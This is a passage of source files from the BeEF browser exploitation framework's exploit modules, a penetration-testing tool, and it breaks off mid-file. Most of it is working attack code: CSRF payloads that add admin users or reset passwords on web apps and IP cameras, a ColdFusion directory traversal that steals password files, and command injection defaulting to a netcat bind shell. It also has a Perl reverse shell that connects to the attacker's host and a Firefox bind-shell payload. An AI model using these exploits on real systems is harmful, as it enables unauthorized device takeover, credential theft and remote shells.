    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        boastmachine_add_user_csrf:\n            enable: true\n            category: \"Exploits\"\n            name: \"boastMachine <= 3.1 Add User CSRF\"\n            description: \"Attempts to add a user to a boastMachine <= 3.1 install.\"\n            authors: [\"bcoles\", \"Dr.NaNo\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/boastmachine_3_1_add_user_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Boastmachine_add_user_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog' },\n      { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },\n      { 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },\n      { 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/camera/airlive_ip_camera_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var base  = '<%= @base %>'; \n  var path  = 'cgi-bin/admin/usrgrp.cgi';\n  var user  = '<%= @user %>';\n  var pass  = '<%= @pass %>';\n\n  var airlive_ip_camera_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(base + path, \"GET\", \"application/x-www-form-urlencoded\",\n    [{'type':'hidden', 'name':'user',     'value':user},\n     {'type':'hidden', 'name':'pwd',      'value':pass},\n     {'type':'hidden', 'name':'grp',      'value':'administrator'},\n     {'type':'hidden', 'name':'sgrp',     'value':'ptz'},\n     {'type':'hidden', 'name':'action',   'value':'add'},\n     {'type':'hidden', 'name':'redirect', 'value':''}\n    ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(airlive_ip_camera_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/camera/airlive_ip_camera_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# For more information see:\n# http://www.exploit-db.com/exploits/26174/\n##\nbeef:\n    module:\n        airlive_add_user_csrf:\n            enable: true\n            category: [\"Exploits\", \"Camera\"]\n            name: \"Airlive Add User CSRF\"\n            description: \"Attempts to add an admin user on a Airlive camera.<br/><br/>This CSRF is reported to work on the following models: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD.</br/><br/>Note: This module has not been tested on a real device.\"\n            authors: [\"bcoles\", \"Eliezer Varadé Lopez\", \"Javier Repiso Sánchez\", \"Jonás Ropero Castillo\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/camera/airlive_ip_camera_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Airlive_add_user_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/' },\n      { 'name' => 'user', 'ui_label' => 'Desired username', 'value' => 'beef' },\n      { 'name' => 'pass', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/camera/dlink_dcs_series_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var base = '<%= @base %>'; \n  var passwd = '<%= @password %>';\n\n  var dlink_dcs_iframe = beef.dom.createInvisibleIframe();\n\n  var form = document.createElement('form');\n  form.setAttribute('action', base + \"/setup/security.cgi\");\n  form.setAttribute('method', 'post');\n\n  var input = null;\n\n  input = document.createElement('input');\n  input.setAttribute('type', 'hidden');\n  input.setAttribute('name', 'rootpass');\n  input.setAttribute('value', passwd);\n  form.appendChild(input);\n\n  input = document.createElement('input');\n  input.setAttribute('type', 'hidden');\n  input.setAttribute('name', 'confirm');\n  input.setAttribute('value', passwd);\n  form.appendChild(input);\n\n  dlink_dcs_iframe.contentWindow.document.body.appendChild(form);\n  form.submit();\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(dlink_dcs_iframe);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/camera/dlink_dcs_series_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# More info: http://www.exploit-db.com/exploits/18509/\n#\nbeef:\n    module:\n        Dlink_dcs_series_csrf:\n            enable: true\n            category: [\"Exploits\", \"Camera\"]\n            name: \"Dlink DCS series CSRF\"\n            description: \"Attempts to change the password on a Dlink DCS series camera.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/camera/dlink_dcs_series_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dcs_series_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Camera web root', 'value' => 'http://192.168.0.1/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var path    = 'adm/file.cgi';\n  var passwd  = '<%= @password %>';\n\n  var linksys_wvc_iframe = beef.dom.createIframeXsrfForm(gateway + path, \"POST\", \"application/x-www-form-urlencoded\",\n    [{'type':'hidden', 'name':'adm',            'value':'admin'},\n     {'type':'hidden', 'name':'admpw',          'value':passwd},\n     {'type':'hidden', 'name':'admpwv',         'value':passwd},\n     {'type':'hidden', 'name':'language',       'value':'1'},\n     {'type':'hidden', 'name':'h_usernamelist', 'value':''},\n     {'type':'hidden', 'name':'h_language',     'value':'1'},\n     {'type':'hidden', 'name':'h_lang_from_mac','value':''},\n     {'type':'hidden', 'name':'this_file',      'value':'pass_wd.htm'},\n     {'type':'hidden', 'name':'next_file',      'value':'pass_wd.htm'},\n     {'type':'hidden', 'name':'todo',           'value':'save'},\n     {'type':'hidden', 'name':'video_file',     'value':''},\n     {'type':'hidden', 'name':'',               'value':'Submit form'}\n    ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(linksys_wvc_iframe);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        linksys_wvc_wireless_camera_csrf:\n            enable: true\n            category: [\"Exploits\", \"Camera\"]\n            name: \"Linksys WVC series CSRF\"\n            description: \"Attempts to change the admin password on a Linksys WVCseries wireless camera.\"\n            authors: [\"bcoles\", \"n0x00\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Linksys_wvc_wireless_camera_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.101/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/coldfusion_dir_traversal_exploit/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * ColdFusion Directory Traversal Exploit (CVE-2010-2861) by antisnatchor .\n * Inject into the vulnerable \"locale\" parameter the classic payload of a directory traversal.\n * By default the exploit will retrieve the password.properties file, where the CF admin passwd is stored:\n * the user is free to specify any other path that will be appended to the server root (ie C:\\ on Windows)\n *\n * On a default win installation, the following vector works great:\n * http://127.0.0.1:8500/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\\ColdFusion8\\lib\\password.properties%00en\n * demo CF application-> http://blogs.sitepoint.com/applications-coldfusion-8/\n */\nbeef.execute(function() {\n   fileToRetrieve = \"<%= @fileToRetrieve %>\";\n   targetOS = \"<%= @os_combobox %>\";\n   cf_version = \"<%= @cf_version %>\";\n   var uri = null;\n   if(targetOS == \"Windows\"){\n       uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\\\\ColdFusion' + cf_version + '\\\\lib\\\\' + fileToRetrieve + '%00en';\n   }else{\n       uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../../opt/coldfusion' + cf_version + '/lib/' + fileToRetrieve + '%00en';\n   }\n\n\tbeef.net.request(\"http\", \"GET\", document.domain, document.location.port, uri,null, null, 10, 'text', function(response){\n         if(response.status_code == \"success\"){\n            titleStart = response.response_body.indexOf(\"<title>\");\n            titleEnd = response.response_body.indexOf(\"</title>\");\n            exploitResults = response.response_body.substring(titleStart + 7,titleEnd);\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=Retrieved contents for file [\" + fileToRetrieve + \"]: \" + exploitResults);\n         }else{\n             beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: directory traversal failed.\");\n         }\n    });\n});"
  },
  {
    "path": "modules/exploits/coldfusion_dir_traversal_exploit/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        coldfusion_dir_traversal_exploit:\n            enable: true\n            category: \"Exploits\"\n            name: \"ColdFusion Directory Traversal Exploit\"\n            description: \"ColdFusion 9.0, 8.0.1, 9.0 and 9.0.1 are vulnerable to directory traversal that leads to arbitrary file retrieval from the ColdFusion server (CVE-2010-2861)\"\n            authors: [\"antisnatchor\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/coldfusion_dir_traversal_exploit/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Coldfusion_dir_traversal_exploit < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'fileToRetrieve', 'ui_label' => 'Retrieve file  (in CF /lib dir)', 'value' => 'password.properties' },\n      { 'name' => 'os_combobox', 'type' => 'combobox', 'ui_label' => 'CF server OS', 'store_type' => 'arraystore',\n        'store_fields' => ['os'], 'store_data' => [['Windows'], ['Linux/MacOSX/*BSD']],\n        'valueField' => 'os', 'displayField' => 'os', 'mode' => 'local', 'autoWidth' => true },\n      { 'name' => 'cf_version', 'type' => 'combobox', 'ui_label' => 'ColdFusion version', 'store_type' => 'arraystore',\n        'store_fields' => ['cf_version'], 'store_data' => [['8'], ['9']],\n        'valueField' => 'cf_version', 'displayField' => 'cf_version', 'mode' => 'local', 'autoWidth' => true }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/extract_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar rhost   = '<%= @rhost %>'; \n\tvar rport   = '<%= @rport %>';\n\tvar timeout = '<%= @timeout %>';\n\n\t// validate payload\n\ttry {\n\t\tvar cmd     = '<%= @cmd.gsub(/'/, \"\\\\\\'\").gsub(/\"/, '\\\\\\\"') %>';\n\t\tvar payload = 'createuser '+cmd+'&>/dev/null; echo;\\r\\nquit\\r\\n';\n\t} catch(e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());\n\t\treturn;\n\t}\n\n\t// validate target details\n\tif (!rport || !rhost) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_port(rport)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');\n\t\treturn;\n\t}\n\n\t// send commands\n\tvar extract_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html\", payload);\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=sent commands\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(extract_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/extract_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        extract_cmd_exec:\n            enable: true\n            category: \"Exploits\"\n            name: \"EXTRAnet Collaboration Tool (extra-ct) Command Execution\"\n            description: \"This module exploits a command execution vulnerability in the 'admserver' component of the EXTRAnet Collaboration Tool (default port 10100) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: Spaces in the command are not supported.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\", \"C\"]\n                not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/exploits/extract_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n###\n# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/\n###\n# EXTRAnet Collaboration Tool (extra-ct)\n# Version: 0.5.1\n# Homepage: http://www.extra-ct.net/\n# Source: http://code.google.com/p/extra-ct/\n# Source: http://sourceforge.net/projects/extract/\n###\nclass Extract_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '10100' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },\n      { 'name' => 'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',\n        'value' => '{netcat,-l,-p,1337,-e,/bin/bash}', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?\n    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?\n  end\nend\n"
  },
  {
    "path": "modules/exploits/farsite_x25_remote_shell/command.js",
    "content": "//\nbeef.execute(function() {\n\n  var rhost = '<%= @rhost %>'; \n  var scheme = '<%= @scheme %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n\n  writefile = function() {\n    var revshell='use+IO;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}';\n    revshell = revshell + '$c=new IO::Socket::INET(PeerAddr,\"' + lhost + ':' + lport +'\");';\n    revshell = revshell + 'STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};';\n    var x25w_<%= @command_id %>= beef.dom.createInvisibleIframe();\n    var uri = scheme + '://' + rhost + \"/fsSaveUIPersistence.php?strSubmitData=\" + revshell;\n    //About to hit uri\n    x25w_<%= @command_id %>.setAttribute('src', uri);\n  };\n\n  exploit = function() {\n    //Command injecting on the router\n    var x25e_<%= @command_id %> = beef.dom.createInvisibleIframe();\n    var uri = scheme + '://' + rhost + \"/fsx25MonProxy.php?strSubmitData=start+|perl</http/htdocs/fsUI.xyz;echo\";\n    x25e_<%= @command_id %>.setAttribute('src', uri);\n  };\n\n  try {\n    writefile();\n    setTimeout(exploit,5000);\n  } catch (e) {\n    beef.debug(peer + \" - Exploit failed: \" + e.message);\n  }\n\n});\n"
  },
  {
    "path": "modules/exploits/farsite_x25_remote_shell/config.yaml",
    "content": "#\nbeef:\n    module:\n        farsite_X25_remote_shell:\n            enable: true\n            category: \"Exploits\"\n            name: \"Farsite X25 gateway remote code execution\"\n            description: \"This module exploits CVE-2014-7175 to write a payload to the router and CVE-2014-7173 to execute it. Once you have shell you can use the setuid /http/bin/execCmd to execute commands as root.\"\n            authors: [\"Wireghoul\"]\n            target:\n                working: [\"All\"]\n\n"
  },
  {
    "path": "modules/exploits/farsite_x25_remote_shell/module.rb",
    "content": "class Farsite_x25_remote_shell < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    beef_host = @configuration.beef_host\n    [\n      { 'name' => 'scheme', 'type' => 'combobox', 'ui_label' => 'HTTP(s)', 'store_type' => 'arraystore',\n        'store_fields' => ['http'], 'store_data' => [['HTTP'], ['HTTPS']],\n        'valueField' => 'http', 'displayField' => 'http', 'mode' => 'local', 'autoWidth' => true },\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '10.0.0.1' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => beef_host.to_s },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/firephp/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  // detect firebug\n  if (window.console && (window.console.firebug || window.console.exception)) {\n    var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe();\n    firephp_<%= @command_id %>.src = beef.net.httpproto + \"://\" + beef.net.host + \":\" + beef.net.port + \"/firephp\";\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n  } else {\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"error=Module did not run. Firebug is not open in the hooked browser.\");\n    return;\n  }\n\n  // clean up\n  cleanup = function() {\n     document.body.removeChild(firephp_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", 10000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/firephp/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n###\n# Exploit: http://www.justanotherhacker.com/advisories/jahx132.html\n###\nbeef:\n    module:\n        firephp_code_exec:\n            enable: true\n            category: \"Exploits\"\n            name: \"Firephp 0.7.1 RCE\"\n            description: \"Exploit FirePHP <= 0.7.1 to execute arbitrary JavaScript within the trusted 'chrome://' zone.<br/><br/>This module forces the browser to load '/firephp' on the BeEF server.<br/><br/>The payload is executed silently once the user moves the mouse over the array returned for 'http://[BeEF]/firephp' in Firebug.<br/><br/><b>Note:</b> Use msfpayload to generate JavaScript payloads. The default payload binds a shell on port 4444.<br/>See 'modules/exploits/firephp/payload.js'\"\n            authors: [\"Wireghoul\", \"bcoles\"]\n            target:\n                user_notify: [\"FF\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/firephp/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n###\n# PoC by Wireghoul: http://www.justanotherhacker.com/advisories/jahx132.html\n###\nclass Firephp_code_exec < BeEF::Core::Command\n  def pre_send\n    rand_str = rand(32**10).to_s(32)\n\n    # load payload.js file\n    # generate payload:\n    #  msfpayload firefox/shell_bind_tcp LPORT=4444 R > payload.js\n    payload = ''\n    f = File.open(\"#{$root_dir}/modules/exploits/firephp/payload.js\")\n    f.each_line do |line|\n      payload << line\n    end\n    f.close\n\n    # construct exploit+payload HTTP response\n    exploit = {\n      'RequestHeaders' => {\n        '1' => rand(10).to_s,\n        '2' => rand(10).to_s,\n        '3' => rand(10).to_s,\n        '4' => rand(10).to_s,\n        '5' => rand(10).to_s,\n        '6' => rand(10).to_s,\n        '7' => rand(10).to_s,\n        '8' => rand(10).to_s,\n        '9' => rand(10).to_s,\n        \"<script>#{payload}<\\/SCRIPT>\" => rand_str\n      }\n    }.to_json\n\n    # mount exploit+payload at /firephp\n    # @todo use Router class instead of bind_raw()\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200',\n                                                                       {\n                                                                         'Content-Type' => 'text/html',\n                                                                         'X-Wf-Protocol-1' => 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2',\n                                                                         'X-Wf-1-Plugin-1' => 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3',\n                                                                         'X-Wf-1-Structure-1' => 'http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1',\n                                                                         'X-Wf-1-1-1-1' => \"#{exploit.length}|#{exploit}|\\r\\n\"\n                                                                       },\n                                                                       rand_str,   # HTTP body\n                                                                       '/firephp', # URI mount point\n                                                                       -1)\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/firephp/payload.js",
    "content": "(function(){\n\n      Components.utils.import(\"resource://gre/modules/NetUtil.jsm\");\n      var lport = 4444;\n      var rhost = \"\";\n      var serverSocket = Components.classes[\"@mozilla.org/network/server-socket;1\"]\n                             .createInstance(Components.interfaces.nsIServerSocket);\n      serverSocket.init(lport, false, -1);\n\n      var listener = {\n        onSocketAccepted: function(serverSocket, clientSocket) {\n          var outStream = clientSocket.openOutputStream(0, 0, 0);\n          var inStream = clientSocket.openInputStream(0, 0, 0);\n          var pump = Components.classes[\"@mozilla.org/network/input-stream-pump;1\"]\n                     .createInstance(Components.interfaces.nsIInputStreamPump);\n          pump.init(inStream, -1, -1, 0, 0, true);\n          pump.asyncRead(clientListener(outStream), null);\n        }\n      };\n\n      var clientListener = function(outStream) {\n        return {\n          onStartRequest: function(request, context) {},\n          onStopRequest: function(request, context) {},\n          onDataAvailable: function(request, context, stream, offset, count) {\n            var data = NetUtil.readInputStreamToString(stream, count).trim();\n            runCmd(data, function(err, output) {\n              if(!err) outStream.write(output, output.length);\n            });\n          }\n        };\n      };\n\n      \n      \n      var readFile = function(path) {\n        try {\n          var file = Components.classes[\"@mozilla.org/file/local;1\"]\n                   .createInstance(Components.interfaces.nsILocalFile);\n          file.initWithPath(path);\n\n          var fileStream = Components.classes[\"@mozilla.org/network/file-input-stream;1\"]\n                           .createInstance(Components.interfaces.nsIFileInputStream);\n          fileStream.init(file, 1, 0, false);\n\n          var binaryStream = Components.classes[\"@mozilla.org/binaryinputstream;1\"]\n                             .createInstance(Components.interfaces.nsIBinaryInputStream);\n          binaryStream.setInputStream(fileStream);\n          var array = binaryStream.readByteArray(fileStream.available());\n\n          binaryStream.close();\n          fileStream.close();\n          file.remove(true);\n\n          return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(\"\");\n        } catch (e) { return \"\"; }\n      };\n    \n      \n      var setTimeout = function(cb, delay) {\n        var timer = Components.classes[\"@mozilla.org/timer;1\"].createInstance(Components.interfaces.nsITimer);\n        timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);\n        return timer;\n      };\n    \n\n      var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n        .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n      var windows = (ua.indexOf(\"Windows\")>-1);\n      var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n      var jscript = ({\"src\":\"\\n      var b64 = WScript.arguments(0);\\n      var dom = new ActiveXObject(\\\"MSXML2.DOMDocument.3.0\\\");\\n      var el  = dom.createElement(\\\"root\\\");\\n      el.dataType = \\\"bin.base64\\\"; el.text = b64; dom.appendChild(el);\\n      var stream = new ActiveXObject(\\\"ADODB.Stream\\\");\\n      stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\\n      stream.Position=0; stream.type=2; stream.CharSet = \\\"us-ascii\\\"; stream.Position=0;\\n      var cmd = stream.ReadText();\\n      (new ActiveXObject(\\\"WScript.Shell\\\")).Run(cmd, 0, true);\\n    \"}).src;\n      var runCmd = function(cmd, cb) {\n        cb = cb || (function(){});\n\n        if (cmd.trim().length == 0) {\n          setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n          return;\n        }\n\n        var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());\n        if (js) {\n          var tag = \"[!JAVASCRIPT]\";\n          var sync = true;  /* avoid zalgo's reach */\n          var sent = false;\n          var retVal = null;\n\n          try {\n            retVal = Function('send', js[1])(function(r){\n              if (sent) return;\n              sent = true;\n              if (r) {\n                if (sync) setTimeout(function(){ cb(false, r+tag+\"\\n\"); });\n                else      cb(false, r+tag+\"\\n\");\n              }\n            });\n          } catch (e) { retVal = e.message; }\n\n          sync = false;\n\n          if (retVal && !sent) {\n            sent = true;\n            setTimeout(function(){ cb(false, retVal+tag+\"\\n\"); });\n          }\n\n          return;\n        }\n\n        var shEsc = \"\\\\$&\";\n        var shPath = \"/bin/sh -c\";\n\n        if (windows) {\n          shPath = \"cmd /c\";\n          shEsc = \"\\^$&\";\n          var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n            .getService(Components.interfaces.nsIProperties)\n            .get(\"TmpD\", Components.interfaces.nsIFile);\n          jscriptFile.append('DgPpX5C0Cqj8lWozDd.js');\n          var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n            .createInstance(Components.interfaces.nsIFileOutputStream);\n          stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0);\n          stream.write(jscript, jscript.length);\n          if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n            stream.finish();\n          } else {\n            stream.close();\n          }\n        }\n\n        var stdoutFile = \"Bf6Seq5KPkR5MZLH\";\n\n        var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n          .getService(Components.interfaces.nsIProperties)\n          .get(\"TmpD\", Components.interfaces.nsIFile);\n        stdout.append(stdoutFile);\n\n        if (windows) {\n          var shell = shPath+\" \"+cmd;\n          shell = shPath+\" \"+shell.replace(/\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n          var b64 = svcs.btoa(shell);\n        } else {\n          var shell = shPath+\" \"+cmd.replace(/\\W/g, shEsc);\n          shell = shPath+\" \"+shell.replace(/\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n        }\n        var process = Components.classes[\"@mozilla.org/process/util;1\"]\n          .createInstance(Components.interfaces.nsIProcess);\n        var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n                   .createInstance(Components.interfaces.nsILocalFile);\n\n        if (windows) {\n          sh.initWithPath(\"C:\\\\Windows\\\\System32\\\\wscript.exe\");\n          process.init(sh);\n          var args = [jscriptFile.path, b64];\n          process.run(true, args, args.length);\n          jscriptFile.remove(true);\n          setTimeout(function(){cb(false, cmd+\"\\n\"+readFile(stdout.path));});\n        } else {\n          sh.initWithPath(\"/bin/sh\");\n          process.init(sh);\n          var args = [\"-c\", shell];\n          process.run(true, args, args.length);\n          setTimeout(function(){cb(false, 